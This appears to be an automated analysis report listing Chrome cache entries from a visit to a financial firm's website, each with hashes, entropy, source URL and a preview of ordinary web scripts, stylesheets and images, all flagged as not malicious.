URL:	https://bfjfinancialgroup.smartvault.com/WebResource.axd?d=KlHDGLQzBshnNRXOquF_oBJGH1L_g2brdbY9dKkzLAYE8M9OCvc8pLWgLxniroDmM_4WJji2lIH465AuI5lpMBGestg1&t=636480331623431523
Preview:	function WebForm_FindFirstFocusableChild(control) {.. if (!control \|\| !(control.tagName)) {.. return null;.. }.. var tagName = control.tagName.toLowerCase();.. if (tagName == "undefined") {.. return null;.. }.. var children = control.childNodes;.. if (children) {.. for (var i = 0; i < children.length; i++) {.. try {.. if (WebForm_CanFocus(children[i])) {.. return children[i];.. }.. else {.. var focused = WebForm_FindFirstFocusableChild(children[i]);.. if (WebForm_CanFocus(focused)) {.. return focused;.. }.. }.. } catch (e) {.. }.. }.. }.. return null;..}..function WebForm_AutoFocus(focusId) {.. var targetControl;.. if (__nonMSDOMBrowser) {.. targetControl = document.getElementById(focusId);.. }.. else {.. targetContro

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64256)
Category:	downloaded
Size (bytes):	77114
Entropy (8bit):	5.170898107825504
Encrypted:	false
SSDEEP:	1536:F3KUYz6yUa1q7SV0B1SxP4nH+wrIzoSC4fK:F3KUYz6yUa1q7SV0B1Sxgnazo1
MD5:	96D33796861FCBA25C45AFED5A0DEA2D
SHA1:	3B74F8D453F56756118BC65F81CD21DDA8A55DCF
SHA-256:	3004624034478ED3BC1C4DF75BA2E7376BA25F5CBDF311F8C724F59162163131
SHA-512:	D65D3A7FC9A90B70DA475FCAB11BC5A8BEF4298B568B69A3B81E454B62B4D4BE1C6ABEDCF21803AE79700A48388471752E4D156542068F9F7D3DE4E02EF824F3
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yb/r/mN-eO9RcwWn.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("BlobFactory",["emptyFunction"],(function(a,b,c,d,e,f){var g;function h(){try{new a.Blob(),g=!0}catch(a){g=!1}}var i=a.BlobBuilder\|\|a.WebKitBlobBuilder\|\|a.MozBlobBuilder\|\|a.MSBlobBuilder;a.Blob?c={getBlob:function(b,c){b=b\|\|[];c=c\|\|{};g===void 0&&h();if(g)return new a.Blob(b,c);else{var d=new i();for(var e=0;e<b.length;e++)d.append(b[e]);return d.getBlob(c.type)}},isSupported:b("emptyFunction").thatReturnsTrue}:c={getBlob:function(){},isSupported:b("emptyFunction").thatReturnsFalse};e.exports=c}),null);.__d("CubicBezier",[],(function(a,b,c,d,e,f){var g=.005;a=function(){function a(a,b){this.cx=3a[0],this.bx=3(b[0]-a[0])-this.cx,this.ax=1-this.cx-this.bx,this.cy=3a[1],this.by=3(b[1]-a[1])-this.cy,this.ay=1-this.cy-this.by}var b=a.prototype;b.sampleCurveX=function(a){return((this.axa+this.bx)a+this.cx)a};b.solve=function(a){a=this.solveCurveX(a);return((this.aya+this.by)a+this.cy)a};b.solveCurveX=function(a){var b,c,d,e;for(d=a,c=0;c<8;c++){e=this.sampleC

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15718)
Category:	downloaded
Size (bytes):	18692
Entropy (8bit):	4.754375391922092
Encrypted:	false
SSDEEP:	384:VYz/VuPTb9Uh31//bEP+XgA1Q0efAJmpr:wNU9Uh31//YWXgAMfACr
MD5:	4CC444663C1E69CB8AC7B909E7192BCA
SHA1:	D00DDC5B9526193FA99BC3995A6D05F995452EA1
SHA-256:	4F79A89D16A5F717110FE080C0BF90B7E05FF95A4C4983F64D33110BF5F9C230
SHA-512:	AE37D08D11AA4337650CBEC0D0F1205A5505CB3E82373873E82CBA093019521CD2B93CFE2DBE4840CE098717287E1F732E9330C90063B122F1C6358664F1B8EE
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-includes/js/wp-emoji-release.min.js?ver=4a124e090d7ee965f75f11dee143117d
Preview:	/! This file is auto-generated /.// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var m={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return e(d);return e(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:o},onerror:function(){this.parentNode&&this.parentNode.replaceChild(x(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return m.doNotParse=u.doNotParse,("string"==typeof d?function(d,a){return n(d,function(d){var u,f,c=d,e=N(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,r),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,r,n,o,i,s,l=function d(u,f){var c,e,b=u.childNodes,

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 189 x 177, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	7156
Entropy (8bit):	7.857460304540552
Encrypted:	false
SSDEEP:	192:6p9lIo+Wictwa2v2fYgIO6ES+507FC8POCx:MTIJWlwajfYhTEV+Iw5
MD5:	5E0DA4B4B3A23D5950396715805617F4
SHA1:	975E2B60A717D946DCA3021C3AE8C6B8269B24B7
SHA-256:	01BE4F904E5656154B941DCABBEAACAAE602876419D3B04352CA0CDF1D8FB5BC
SHA-512:	155DF2F5AAD94973A8C24BB41158038F6DA8CDF2DF2D0ED5CC9DEF47C8085A5DE5664DF5D6D5C5344F16AF71BF5AEE562B20344A1C4BF19C4D86EFA9F9EB1CF5
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yS/r/mdW2sCYlZBe.png
Preview:	.PNG........IHDR...............Ly....PLTEGpL............................................................................................................................................................................................................................................................}....................................................................(((......................x..........................\|.........................................x...............................................................................................v..x..w..v.............................w..w................................w....................................................................v..w..w..w..............x..w..........................w..w..v..v..w.....w..w..v..v..y..w.....w.............<\|.p....tRNS........>.........~Zf..8.H...q...-PN.......*...d..v$..._..:F\6.....3..B.@.TJ0....z...."~.<......m....j. W..q........R.........3..J..@,..9.X..&]..xb).."...X../.a.6@.Fv..R...(f

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2359
Entropy (8bit):	7.555021271457985
Encrypted:	false
SSDEEP:	48:0uNn2viJ3FexkLqCqsOqiAhnAdoGXYdP0rgana75YzFn5:T2+skLygiAhooGXa0NaF+F5
MD5:	6D12E5E8B0E7D0500254641A0A1205AC
SHA1:	9788947D5E67E4FC730BFF33BD5BF149D509DD51
SHA-256:	90823BD8403BD3A5EFA1C8F5402A5D5CFC0DB8D4C6250A5A8DB9191B26EB9B28
SHA-512:	4BEA214DCFAEB1BAF0933D5FB1D86E54C515D355511C1CD3C332A3E6428466563EA8B4D0FDA766650DF2E719B0D63DFD3573CEAF4017C25839B9EF4D448C76FE
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2......?......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:6027348D1B9E11E8A77384F758A55DA8" xmpMM:DocumentID="xmp.did:6027348E1B9E11E8A77384F758A55DA8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6027348B1B9E11E8A77384F758A55DA8" stRef:documentID="xmp.did:6027348C1B9E11E8A77384F758A55DA8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..bQ....IDATx..Z[l.U..wfo-....+mU.(.x....1..D./..\|.....h..llH.....L..1!h...- .Di..Vh...n....g...nw..n-...-.3{.9.

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 61 x 57, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3813
Entropy (8bit):	7.755310235086368
Encrypted:	false
SSDEEP:	96:uENzvoz7CKfHx22dtUPGNtG+LMmReuq85a:Bvsfs2dtUuNtumReuba
MD5:	E5FDB7BCC9087AF307F0904C00B35B62
SHA1:	FEFC3A3E0A4C96E0AB47C1E2C5A5EC8487C46888
SHA-256:	107E8A6E4842D99184721B80278B6786ED4C22BC6E8DC0510011B7B0CBD45620
SHA-512:	CB59CCFDA16F7897F8C2942190062DB35E39AF53C9C1B7F14E098DB258727470E93A443D0E9E530452026955FCA27A54DE3D179FF39E38894BB6AA523E3F1A01
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...=...9.......#.....sRGB.........gAMA......a.....pHYs...t...t..f.x....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:16c9bc52-7b1c-429b-9115-24f9e0478964" xmpMM:DocumentID="xmp.did:E7959E9DB5AE11E6957FC9103BDCCE93" xmpMM:InstanceID="xmp.iid:E7959E9CB5AE11E6957FC9103BDCCE93" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:df4bc394-0e4b-4676-b0c0-35e736784415" stRef:documentID="adobe:docid:photoshop:c683e074-fe18-1179-b251-e699586533b2"/> </rdf:Description> </rdf:RDF> </

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	65933
Entropy (8bit):	5.6052265189270685
Encrypted:	false
SSDEEP:	1536:racw7TBjhpoBHoQvQ5CCd4R2Y2IOfoB2oaPhx34DTmt/K+KyAu:WdPxhC+B/wB2oW4wKyAu
MD5:	876F2FA2944FEEE72451E3A690D1985E
SHA1:	D30F9CD73BA3BDDA113F2E4A2513938FDD90C460
SHA-256:	3AEA2EFA28A6C1CE964301FC7264AC01A38B63D2B98F65F53E3877157249EC0C
SHA-512:	36AD80C10C845097107461825E3C4EC64098926E023219A6BFBD9E83D41D124C88CB4293FEA6CE850204F7D4E3E92413E46117E697330D0B89D521BCB0E38D7F
Malicious:	false
Reputation:	low
URL:	https://static.licdn.com/aero-v1/sc/h/80ndnja80f2uvg4l8sj2su82m
Preview:	var a0a=['C3r5Bgu=','CM5N','yNL0zu9MzNnLDa==','y291BgqGBM90ihjLywqGrM9YBurHDgeGyM9KEsbHCYbIBg9I','CMvZCg9UC2u=','yMvNAw5qyxrO','vuntAgvSBePHDMe=','x2jVzhLuzxH0','i0u2rKy4ma==','zMv0y2G=','DMvUzg9Y','u2HPzNrmzwz0','yNvPBgrjra==','CgfJA2v0swq=','CxvHzhjHDgLJq3vYDMvuBW==','Aw1WswrwyxjPywjSzq==','qxjYB3Dmzwz0','Bw9Kzq==','yNvMzMvY','AxnbCNjHEq==','w29IAMvJDcbvAw50mZjbCNjHEv0=','C3rYB2TLvgv4Da==','u3LTyM9S','Dg91y2HTB3zL','v2vIzhjPDMvYid09ihrYDwu=','zNvSBezLyxr1CMvZ','rM9Yy2vgBhvZAa==','EwfUzgv4','BgvUz3rO','x2nSzwfYqNvMzMvY','x19Nq3jxzwi=','DxbSB2fKvgLTzw91Da==','x2LUAxrjBxbYzxnZAw9Uswq=','C2vUza==','C2XPy2u=','y2fSBa==','zgjSy2XPy2S=','CMvTB3zLrxzLBNrmAxn0zw5LCG==','x2rLy29TChjLC3m=','B3bLBG==','iZy2rty0ra==','twv0yvjPz2H0','DxbSB2fK','y29UDgv4Dg1LBNu=','qwjVCNrfCNjVCG==','C2nYB2XSv2LKDgG=','ChjVCgvYDhLjC0vUDw1LCMfIBgu=','C3bSAwnL','uMvXDwvZDa==','yxjYyxLIDwzMzxi=','x19MAxjLzM94x18=','wc1szxf1zxn0lvvsta==','CMvJB3jKs2v5yM9HCMrfDMvUDa==','BM9Uzq==','C2fMyxjP','x2jPBMfYEvnWBgL0qMLNrgf0yujSB

Chrome Cache Entry: 425

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	22
Entropy (8bit):	3.5726236638951634
Encrypted:	false
SSDEEP:	3:U12pXjAOKn:U0pXjAOKn
MD5:	428FBFBE32240731C2093BE221CC8DF3
SHA1:	8B831BC780288CDFCE6DBA1A93D062C9379F4DEF
SHA-256:	1643B5CEC44CC597BC2CCE3448CE5434241EEC9B92DB8AF268EE3EE1F198441D
SHA-512:	157C60A1A8619AD1E6162B3E945DB8B6EC82B37359E23DCC8ECCF9E2399662890C591A49046EEF061E271A6F18C00A695BA1AC4837EAB7B29EC37A36B4A542B7
Malicious:	false
Reputation:	low
URL:	https://js.calltrk.com/group/0/62ae1f386a513fd442e6/12/icap.js?t=1712867743637&ga=GA1.1.118679924.1712867743&GoogleAnalytics4__ga=GA1.1.118679924.1712867743&GoogleAnalytics4__ga_E1ZB2L7Z3V=GS1.1.1712867743.1.0.1712867743.60.0.0&uuid=9161850b-5960-4a3c-9ab8-5bec9401f0c4&ids%5B%5D=522876257
Preview:	/* changes recorded */

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 116 x 32, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1208
Entropy (8bit):	7.77003875059431
Encrypted:	false
SSDEEP:	24:NnuR0KO+WUUsg+ncwv1jb8Qkiwl9f1UqIA/Y8EQ65Ik0cPLl+IQ4:NZKO+umnB9TwlnSA/Y8EQ6R0cLh
MD5:	566E0B72E1A14FA5959E8E7064202747
SHA1:	48385749BB7634419F232DAAAC1FABD9CE0B2866
SHA-256:	8D8168223BACF929EBF51ACBBA885739056DE18201EEA151946BF4D85E0BACFF
SHA-512:	02685F497D530E671C0314416B714984B343D818F1F06D076EF8BA67C56F5845B15191D9D3E6833B8D81B9B28ADD57D736D15BFDEF55EE0B6EA02EC7140ABC46
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...t... ......[......tEXtSoftware.Adobe ImageReadyq.e<....PLTE........y.............Y.\....._.............L......k.^.....E`4..................................i.\.........................]tO...x.lQkB.....^uO......................................................................................................~............................W...............}.......................8U&.....................+..T....IDATx...S.`...j.".%.Kc.....+..$.....Y..=.. ......."!..LI..;.}.......m........yk3.i..w.bol...Wf\.]...4.s...j)-.p\|...W..T#L.}..T...j(.5....vv.O&...I&7f..\|./.Y......5..u2 .Y,.....x8P4....tH3b..Z.M.....?..7..Z...$....,'..'ob....0.T@iN.....##..?.zu..@.*-...i\|.....".b...fQ....d..J.=z.....i.......-N@Y.3x<...@...k..th...Q\.\|.v.{..@..4...>..wU.{........:P.L..T3.....J.\|..p.RAh$=....L..F..J.:.7=.yG.k.+x.>..h...p..\|.o.PsJ+...Si..z...^^W...e...cK7y./..l..I`D..."~mW.s....$.hR.JKb....t....T.-0\$2....H......8

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 500x334, components 3
Category:	downloaded
Size (bytes):	29921
Entropy (8bit):	7.969291307579387
Encrypted:	false
SSDEEP:	768:cdDuTiJtBq6dKhy5Rl3GuXysyA9DvHWnLsryB4T:chuWLo6d75RlPr9zsLdBq
MD5:	FCA0034C4C1575377A58D28AE692173F
SHA1:	48A1C8AB451157CC1AEAFD91F0A20198814E84D3
SHA-256:	71C7A013B9DC9433D880FB869E789D408A605D5A97DB5B69E75883FC9B513160
SHA-512:	C65BE34CA610DD29F3CB4440C952D5E3AA4C4D5634859EA23CA596C6C230A78CF32753AB85BD03F784A64A5A9337E7293B53D63DBD8A3723A66CACEF1AB02665
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/uploads/2017/07/shutterstock_153861770.jpg
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................N....".............................................................................1..\|..u.JW.......\|.-3Y....Z^N.cY2LjI.....a1..v.].P..SD.K.3...!e.h6.dZ......+...(..d.....J...E`...G.0C.d.cU..!..+.....Y.]..e-T.]"X./..`A`2UKk.....b,d.....X..W..........[(Yv..-....$&.`.0U....o.j..r\.....X+4Q^..YW.9+e.N.fh...."....{k8.....Y..........'...i.)..5...I...%..,..-....1.L+......$4NwK......l6Rl......K8.:... ....Z.r......VM..2...K.%r\o..-j...J.2.....C)...+(L.+..X..*k(.......X..i..oN..%UxW.i..)Y...v...a.VZa".. ..\.3..Zj...94...nXX..e.. ....[.).#5._)!\...A3L.0@.(.5..;,.Ufu$".;.....V6..C...X..a.q..v..s..t.~i..3r.Fjl..f..!,.T....3.$./U.X(..%.=.....V.`.:.BI.A..9=^/[...Y.rI..r7.{.G.t.fK\|.u.].....~Cx....y}........lF.9..^n.U.o'..W...\.N.....].....jX...%.y........m..us....m..'..\..^<.....y...

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (695), with CRLF line terminators
Category:	downloaded
Size (bytes):	48702
Entropy (8bit):	5.0456224937243475
Encrypted:	false
SSDEEP:	384:1rx//Q74UXbtOkTrKgsh8m9HEHdSakMLm2:Fx/OtFTOgsh8m9HEHdSw
MD5:	1145038C10C7986904D9C1B60EDFAAE3
SHA1:	913BF70ABB7D3836FCA8B51404B742737A07F681
SHA-256:	83D17473FD4042B76E73552725C888755E05B570A86807EC5E616BB6B3EF4B38
SHA-512:	426687263EB31F1583D715F3A3DA2C5691F27297F8321FF4A486EFF038C94184F2173D0C2A18A917B66BA342F3F73CD1ECF1AB82C4EA05AA33E335606138368F
Malicious:	false
Reputation:	low
URL:	https://bfjfinancialgroup.smartvault.com/css/common.css
Preview:	..a, a:link, a:visited..{.. text-decoration: none;..}....a:hover, a:active, a:focus..{.. text-decoration: underline;..}....div.text..{.. padding-top: 1em;.. padding-left: 1em;..}....div.text p..{.. font-size: 12pt;.. padding-bottom: 1em;..}....body, html..{.. font-family: sans-serif,Arial;.. font-size: 10pt;.. color: black;.. text-align: left;.. padding: 0;.. border: 0px;.. border-style: none;.. border-width: 0px;.. margin: 0;..}..P, p..{.. font-size: 10pt;.. margin-top: 0px;.. margin-bottom: 4px;..}..H1, h1..{.. font-size: 12pt;.. font-weight: normal;.. color: Gray;.. margin-top: 4px;.. margin-bottom: 10px;..}..H2, h2..{.. font-size: 12pt;.. font-weight: normal;.. height: 16px;.. margin-top: 4px;.. margin-bottom: 10px;..}..H3, h3..{.. font-size: 12pt;.. font-weight: normal;.. margin-top: 4px;.. margin-bottom: 5px;..}..img..{.. border: none;..}.....leftPane..{.. /* margin-top: 5px; */.

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	391
Entropy (8bit):	5.088244571503162
Encrypted:	false
SSDEEP:	12:t4/KYcDcEqP7e4aB8gJ1lLzA9iHIdMnqp:t4LcDcR9aBDJj/A9bqnQ
MD5:	5FDB7B403B3A41FAA26C73B1AAAF7668
SHA1:	C46A275D28B78B77460E42BA248317378A91B70E
SHA-256:	55E3D046DF49B2754CEC5ECEE990E526DBB272E70EB5BEA625B4E68E64CE1715
SHA-512:	35CCA83F07BB1509A1892064080BBD1F0FCF352512D2A18610FB5B62F3ECA8C14C785EB4656C0F27A047B16067C23C8F326D4846B333ED06A9C70FB29047E696
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="16px" width="16px" fill="currentColor">. <path d="M14.71,4L12,1.29a1,1,0,0,0-1.41,0L3,8.85,1,15l6.15-2,7.55-7.55A1,1,0,0,0,15,4.71,1,1,0,0,0,14.71,4Zm-8.84,7.6-1.5-1.5L9.42,5.07l1.5,1.5Zm5.72-5.72-1.5-1.5,1.17-1.17,1.5,1.5Z" class="small-icon" style="fill-opacity: 1" id="pencil-icon-small"/>.</svg>

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (56289)
Category:	downloaded
Size (bytes):	83860
Entropy (8bit):	5.087050619165603
Encrypted:	false
SSDEEP:	768:yHTa5Qa6YK+yAjN05Q/rUFycqLsYk5IyaPYye/PxZpsddMYOuOUBJtJ54gGv08k+:TDggz+SvSem/
MD5:	1D02B4FEA470BD04F6F076DDC0D3FABE
SHA1:	ECB416A77BCB401576EFDC6B864973F94CFC36CF
SHA-256:	94D0C55C7F257E03030F9846C4DFF24A99F7F57D54646D53FDE22A73196E537D
SHA-512:	93DCA6B89BF2A1FC1EC9D374986628A2DC752E11AD60C83639D92B43CA4B2E35D36719611E9A67B2F0EBA409CF25CEED5E534288582349397D90CB1D3399278D
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3ipuo4/yB/l/en_US/ae0dtANL__H.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("groupsCometFetchStoryQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="7670287569701557"}),null);.__d("groupsCometFetchStoryQuery.graphql",["CometTextWithEntitiesRelay_textWithEntities$normalization.graphql","groupsCometFetchStoryQuery_facebookRelayOperation","IsWorkUser.relayprovider","IsMergQAPolls.relayprovider","CometUFIReactionsEnableShortName.relayprovider","CometUFIShareActionMigration.relayprovider","StoriesArmadilloReplyEnabled.relayprovider","StoriesTrayShouldShowMetadata.relayprovider","StoriesRing.relayprovider","EventCometCardImage_prefetchEventImage.relayprovider"],(function(a,b,c,d,e,f){"use strict";a=function(){var a={defaultValue:null,kind:"LocalArgument",name:"feedLocation"},c={defaultValue:null,kind:"LocalArgument",name:"feedbackSource"},d={defaultValue:null,kind:"LocalArgument",name:"focusCommentID"},e={defaultValue:null,kind:"LocalArgument",name:"id"},f={defaultValue:null,kind:"LocalArgument",name:"privacySelectorRenderLocat

Chrome Cache Entry: 431

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17038)
Category:	downloaded
Size (bytes):	79963
Entropy (8bit):	5.413097735251173
Encrypted:	false
SSDEEP:	768:BY8lFGeAQUy0+8wSVF/aVw813YFi0H+tOGNgN0k2FIuETA0NMISF92CT/:K5X/aBJUpYF92Cr
MD5:	729E076EC026B3A22753B0182884F35D
SHA1:	3D364EE5C9E1A34F8BB0B9E7367935A6A241A3A8
SHA-256:	A8EE9B649E278FFFC59EA5A79BE82043B8EFBD956633C52036F17C5C1AC45D45
SHA-512:	B8849F07B8C4CBD4E8529DEF0DC1F3F9CD042F8D88560FB68C9123D2BF7565A0DA5E47D9C8868E3EC11F6EBB8A99E6A033AE36CE060A80674F2A65D0C7DBC6D4
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3idM-4/yT/l/en_US/8W25DItpbDG.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("CometEntityHeaderStickyBottomRow_entity.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"CometEntityHeaderStickyBottomRow_entity",selections:[{alias:null,args:null,kind:"ScalarField",name:"name",storageKey:null},{args:null,kind:"FragmentSpread",name:"useBaseEntityHeaderProfile_profile"}],type:"Profile",abstractKey:"__isProfile"};e.exports=a}),null);.__d("useBaseEntityHeaderProfile_profile.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[{kind:"RootArgument",name:"scale"}],kind:"Fragment",metadata:null,name:"useBaseEntityHeaderProfile_profile",selections:[{alias:"profile_picture_for_sticky_bar",args:[{kind:"Literal",name:"height",value:40},{kind:"Variable",name:"scale",variableName:"scale"},{kind:"Literal",name:"width",value:40}],concreteType:"Image",kind:"LinkedField",name:"profile_picture",plural:!1,selections:[{alias:null,args:null,kind:"ScalarField",name:"uri",storageKey:null}

Chrome Cache Entry: 432

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5955)
Category:	downloaded
Size (bytes):	302117
Entropy (8bit):	5.565612132855936
Encrypted:	false
SSDEEP:	3072:sK4ag6R+8bFtV8vWHsKC7FJw8jrGXmJxm3dVNzzYrWTrWfszgYfR0u7RCSoa/lN:h4sRp8+HsKSrUsSPNzzYrgrWfsfRzRCq
MD5:	1E81042BC2FF495E6021D77D043F9A90
SHA1:	394C786AA82A5F5B968CFB3813AE7A9D6AB23349
SHA-256:	73FE03C79354471FF8ABB1812389E9FE7F0E401DC84F89AE73A1F6C692CC469D
SHA-512:	046DD0C7BFC7598D63B0803DDCD8F842A5642AB2B0E160B483D60F5509144E082B767395723F0A7CB2ADA032A8D7CF2EAAEDD96F7D1CE43BFB0716F1496DEEED
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-ERMNG5DM98&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_1p_data_v2","priority":14,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_email

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2946)
Category:	downloaded
Size (bytes):	2981
Entropy (8bit):	5.174465669703351
Encrypted:	false
SSDEEP:	48:Q7A9/XN5NjJE2aAOuRUUKfTGwAuw5BJmVhl2qFqyvQyOw835uuPkSEwVYql+9y5l:931Yf1AJ5m/FqyLn8pu4Zl+9y5It4yO9
MD5:	492F2C1A7EA7EB83FE42E0FF7CB51AA2
SHA1:	DB36A77F6AAA2063BFBEC02C2C0E967438C5A245
SHA-256:	E174A58A503AB84B3D1B9DE12FD3895788204485170F1289E445F7B5B98EC789
SHA-512:	EEE6A1C268A519F4F281B2D76B5193BB068E94D1410372EF062587888589E139B20BB635E2331E97C857D7D835E9372F50822C5DAED29B139AB91FF5633C7A7F
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-includes/js/comment-reply.min.js?ver=4a124e090d7ee965f75f11dee143117d
Preview:	/! This file is auto-generated /.window.addComment=function(v){var I,C,h,E=v.document,b={commentReplyClass:"comment-reply-link",commentReplyTitleId:"reply-title",cancelReplyId:"cancel-comment-reply-link",commentFormId:"commentform",temporaryFormId:"wp-temp-form-div",parentIdFieldId:"comment_parent",postIdFieldId:"comment_post_ID"},e=v.MutationObserver\|\|v.WebKitMutationObserver\|\|v.MozMutationObserver,r="querySelector"in E&&"addEventListener"in v,n=!!E.documentElement.dataset;function t(){d(),e&&new e(o).observe(E.body,{childList:!0,subtree:!0})}function d(e){if(r&&(I=g(b.cancelReplyId),C=g(b.commentFormId),I)){I.addEventListener("touchstart",l),I.addEventListener("click",l);function t(e){if((e.metaKey\|\|e.ctrlKey)&&13===e.keyCode)return C.removeEventListener("keydown",t),e.preventDefault(),C.submit.click(),!1}C&&C.addEventListener("keydown",t);for(var n,d=function(e){var t=b.commentReplyClass;e&&e.childNodes\|\|(e=E);e=E.getElementsByClassName?e.getElementsByClassName(t):e.querySelectorA

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
